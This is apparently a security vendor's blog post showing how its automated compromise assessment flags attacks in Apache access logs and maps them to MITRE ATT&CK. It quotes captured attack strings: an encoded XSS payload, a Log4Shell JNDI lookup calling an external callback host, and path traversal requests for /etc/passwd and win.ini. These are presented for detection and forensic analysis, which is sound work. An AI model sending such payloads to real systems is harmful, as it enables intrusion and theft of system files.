Enhancing Threat Detection and Analysis during Investigations

Harnessing AIR’s Automated compromise assessment and MITRE ATT&CK Integration

At the risk of stating the obvious, in today's rapidly evolving threat landscape, organizations and MSSPs who often support them, face growing numbers of cyber adversaries - from sophisticated nation states to opportunistic cybercriminals. To effectively combat these threats, security professionals require advanced automated tools and methodologies that provide deep insights into attacker tactics and techniques. Binalyze AIR's automated compromise assessment, DRONE, coupled with the integration of MITRE ATT&CK, represents a powerful arsenal in the cybersecurity armory. 

Let's delve into the technical intricacies of how this integration enhances threat detection and analysis capabilities.

Understanding the Integration

The integration of MITRE ATT&CK into DRONE  enables responders and analysts to focus their investigations and enriches the threat detection and analysis process by providing a standardized framework for categorizing adversary behaviors. MITRE ATT&CK, a knowledge base of adversary tactics and techniques, serves as a reference for identifying, categorizing, and analyzing attacker behaviors across various stages of the attack lifecycle.

Technical Implementation

At the core of the integration lies the MITRE ATT&CK analyzer feature, which incorporates a comprehensive set of YARA rules designed to detect potential Indicators of Compromise (IoCs) or Tactics, Techniques, and Procedures (TTPs) associated with known adversary behaviors.

Recent Improvements

Recent enhancements to DRONE have significantly improved visibility into DRONE's findings. By providing more information and transparency about DRONE findings, analysts and responders can better understand why DRONE has achieved a particular finding. Reference information included with DRONE findings gives investigators further insight into vulnerabilities, and whether they have been exploited, at their fingertips, streamlining investigation workflows and increasing trust in DRONE's findings.

Role of access.log in Apache Server Systems

In Apache server systems, the access.log file, typically found in the apache2 directory, plays a crucial role in monitoring web server activity. This log file records all requests made to the Apache server, including details such as the IP address of the client, the requested URL, the HTTP response code, and the user-agent string.

Security analysts leverage the access.log file as a valuable source of information for detecting and investigating potential security incidents. By analyzing patterns and anomalies within the access.log, analysts can identify suspicious behavior such as unauthorized access attempts, brute force attacks, or attempts to exploit known vulnerabilities in web applications.

Furthermore, the access.log file can be integrated into threat detection and analysis workflows, enabling security teams to correlate web server activity with other security events and indicators of compromise (IoCs). By cross-referencing access.log data with DRONE findings and MITRE ATT&CK tactics, analysts can gain deeper insights into potential threats and proactively mitigate risks to their organization's web infrastructure.

Detection of Common Web Application Vulnerabilities

One of the key advantages of analyzing access.log files with DRONE is the ability to identify the indicators of an attempt to exploit web application vulnerabilities such as Cross-Site Scripting (XSS) and SQL Injection.

Let’s now take a look at how AIR would automatically present any DRONE findings connected with issues detected in an Apache access.log file:

XSS Detection

Cross-Site Scripting (XSS) attacks involve injecting malicious scripts into web pages viewed by other users. By analyzing access.log files, DRONE can identify patterns indicative of XSS attacks, such as unusual input parameters or suspicious JavaScript code embedded in URL requests. Upon detection, DRONE alerts security analysts, enabling them to investigate further and implement appropriate countermeasures to mitigate the risk of XSS exploitation.

In my case, some detections were mapped to the MITRE ATT&CK Initial Access and Defence Evasion as shown below.

When we go in for a closer look we can see one suspicious finding is described as hitting on: Rule: XSS_injection_obfuscated_indicators, (author: Binalyze DFIR 

Selecting this entry reveals additional details about the hit in the Details window, located directly below the results table in AIR’s Investigation Hub. This allows us to understand why it has been flagged as suspicious.

To provide transparency and aid investigators, the Investigation Hub displays the 'Matched Strings' associated with the MITRE ATT&CK mapping, as depicted in the screenshot below.

NB; each match is separated by a comma, so the example above actually highlights 5 different string matches.

If you haven't collected the Apache log files yet, you can quickly do so via your console. You have two options: very quickly and easily as shown below, generate a new AIR acquisition profile tailored to collect just the logs you need, or utilize our secure remote shell interACT feature and the 'get' command to pull the necessary files.

To verify the first string displayed above, %3Csvg%2Fonload=confirm%28%27, the investigator can easily copy it from the Investigation Hub and then search within the actual content of the log file to find the original entry. This process is illustrated in the example below, where the access.log file was searched for the copied string, and the DRONE finding has been confirmed through this manual verification process.

The Investigation Hub Details view conveniently provides references, as shown below, to assist investigators in understanding the findings identified by DRONE when needed.

On closer inspection we can see that the matched string is only part of what is now revealed as an XSS attack and the full line is actually shown below: 

key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E appears to be a URL parameter which consists of encoded characters representing a key (key=) followed by a value (%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E).

We can break this down as follows:%27 represents a single quote (')

• %3E represents a greater than symbol (>)
• %22 represents a double quote (")
• %3C represents a less than symbol (<)
• %2F represents a forward slash (/)
• onload=confirm('xss') appears to be JavaScript code embedded within the URL. This code seems to be attempting a cross-site scripting (XSS) attack, where the confirm function in JavaScript is executed when the page loads, displaying an alert with the message "xss".

Overall, it seems pretty clear that DRONE has, at speed, delivered an automated finding that can be trusted to be a URL parameter containing malicious JavaScript code for a potential XSS attack.

So, now let's take a look at a couple of the other automated findings.

SQL Injection Detection

SQL Injection attacks involve exploiting vulnerabilities in web applications to execute arbitrary SQL commands against the underlying database. DRONE's analysis of access.log files enables the detection of SQL Injection attempts by identifying anomalous SQL query strings or suspicious URL parameters indicative of SQL Injection attempts. By alerting security analysts to these malicious activities, DRONE helps organizations proactively defend against SQL Injection attacks and prevent unauthorized access to sensitive data.

In our case, we can see that DRONE has also found an Indicator of Compromise (IoC) where the Binalyze DFIR Lab rule for ‘Sql_injection_indicators ‘ had been tripped.

Once again, five strings have been matched. You can use the same workflow demonstrated for XSS detection to verify this finding. After repeating this process several times, you'll develop confidence in the automated results provided by DRONE in the Investigation Hub. Nonetheless, it is of course always advisable to conduct your own testing or verification periodically.

Revealing the matched string provides users with insight into how DRONE generated the hit. This transparency allows you to manually verify the accuracy and legitimacy of the hit by checking that it aligns with your own expectations and understanding of the data being analyzed. This manual verification step is considered a recommended best practice in the field of Digital Forensics and Incident Response (DFIR), ensuring the integrity and reliability of investigative findings.

Log4j Attack Detection

The next one from this Investigation Hub example that I wanted to mention is the Log4j Attack, also known as the Log4Shell vulnerability, which is still a significant concern in the cybersecurity landscape. While patches have been released to address this vulnerability in Apache Log4j, the widespread usage of Log4j across various software applications and systems means that organizations must remain vigilant and ensure that their systems are properly updated and protected. Additionally, threat actors continue to exploit this vulnerability, making it essential for organizations to use platforms such as Binalzye AIR to conduct proactive automated threat hunts with the latest rule sets to stay on top of the latest developments to mitigate the risk still posed by Log4j attacks.

The Log4j vulnerability (CVE-2021-44228), highlights the importance of detecting and mitigating emerging threats in real-time. By monitoring access.log files for indicators of Log4j exploitation attempts, DRONE can alert security teams to potential Log4j attacks and enable them to take immediate action to remediate the vulnerability and prevent further exploitation.

Let's now take a closer look at the matched string as detected above having run a search across the access.log file.

In the screenshot above, we can observe the exact strings detected by DRONE through a rule crafted by the Binalyze DFIR Lab. This finding directs my attention to analyze the attacker's intentions more closely, prompting me to examine the surrounding details of the identified string.

Now we can see that this log entry indicates an attempted Log4j exploit targeting an Apache server. Here's a breakdown of the components:

• 35.191.30.131: This is the IP address of the client making the request.
• [20/Dec/2023:15:15:00 +0000]: This is the timestamp of the request, indicating it occurred on December 20, 2023, at 15:15:00 UTC.
• "GET /?x=${jndi:ldap://${:-816}${:-550}.${hostName}.uri.cm1g68mq4skc77p5ruigea1yhs6je3mdx.oast.pro/a": This is the HTTP request made by the client. It's attempting to exploit the Log4j vulnerability by sending a crafted query string as part of the URL.
• HTTP/1.1: This indicates the HTTP protocol version used for the request.
• 403: This is the HTTP status code returned by the server in response to the request. A 403 status code means "Forbidden," indicating that the server refused to fulfill the request due to the attempted exploit.
• 23410: This is the size of the response body in bytes.
• "-": This hyphen represents the referrer field, indicating the URL of the page that linked to the requested URL. In this case, it's not provided.
• And, as is often the case, the very next entry, not part of the string we have just analyzed, identifies another issue in the access.log file "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko)": This is the User-Agent string sent by the client, indicating the browser and operating system used to make the request. It appears to be spoofed to resemble a legitimate browser.

Overall, this entry shows a very clear attempted Log4j exploit targeting the Apache server from the IP address 35.191.30.131, which was blocked by the server with a 403 Forbidden response.

Path Traversal attack

To conclude this article, we've included another prevalent attack technique that targets web servers known as a 'path traversal ' attack. A "path traversal" attack, also referred to as a "directory traversal" attack, represents a web security vulnerability. It permits malicious actors to access arbitrary files on the server hosting an application, potentially compromising sensitive data such as the application's source code, data files, and system files. This exploit capitalizes on inadequate security validation or sanitization of user-supplied input file names. As a result, characters indicating "traverse to parent directory" are allowed to pass through to the file APIs, facilitating unauthorized access to files.

Essentially, path traversal attacks aim to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with dot-dot-slash (../) sequences and their variations, or by using absolute file paths, it becomes possible to access arbitrary files and directories stored on the file system including application source code or configuration and critical system files. It is a form of attack that can lead to unauthorized access, information disclosure, and sometimes even execution of malicious scripts.

For example, consider a web application that serves files from a specified directory, such as: http://example.com/get-file?file=report.pdf

In a path traversal attack, an attacker might change the URL to something like:

http://example.com/get-file?file=../../../../etc/passwd

This tries to exploit the file parameter to move up in the directory hierarchy (using `../`) aiming to access the Unix/Linux system's password file (`/etc/passwd`), which contains user account information.

The screenshot below show how such an attack has been reported by Binalyze AIR in the Investigation Hub.

Two path traversal indicators have been flagged as suspicious by a Binalyze DFIR Lab rule and the Matched Stings field in the Details window shows: ../../etc/passwd, /.../windows/win.ini a really good example of this type a attack.

Conclusion

In today's dynamic threat landscape, organizations and MSSPs require advanced tools to combat sophisticated cyber adversaries effectively. Binalyze AIR's integration of MITRE ATT&CK and DRONE automated compromise assessment capability represents a formidable solution. By leveraging MITRE ATT&CK's standardized framework, AIR provides deep insights into adversary behaviors, while DRONE's automated detection capabilities enhance threat detection and analysis workflows.

Recent improvements to the DRONE module have significantly increased visibility into findings, providing analysts with transparency and reference information to better understand identified threats. This fosters trust in DRONE's automated results and streamlines investigation workflows.

Moreover, AIR facilitates automated proactive ‘health checks’ through scheduled threat hunting and DRONE analysis. This capability enables organizations to defend proactively against thousands of threats like those discussed in this blog and others that may evade detection by less forensically aware security solutions. By leveraging insights from the Investigation Hub, analysts can verify findings quickly and effectively, streamlining the mitigation of risks with agility and confidence.

To learn more about how Binalyze's DRONE Analyzers can help identify the latest IOCs earlier and boost your team’s proactive response capabilities with automated compromise assessments, contact us today or try it for yourself.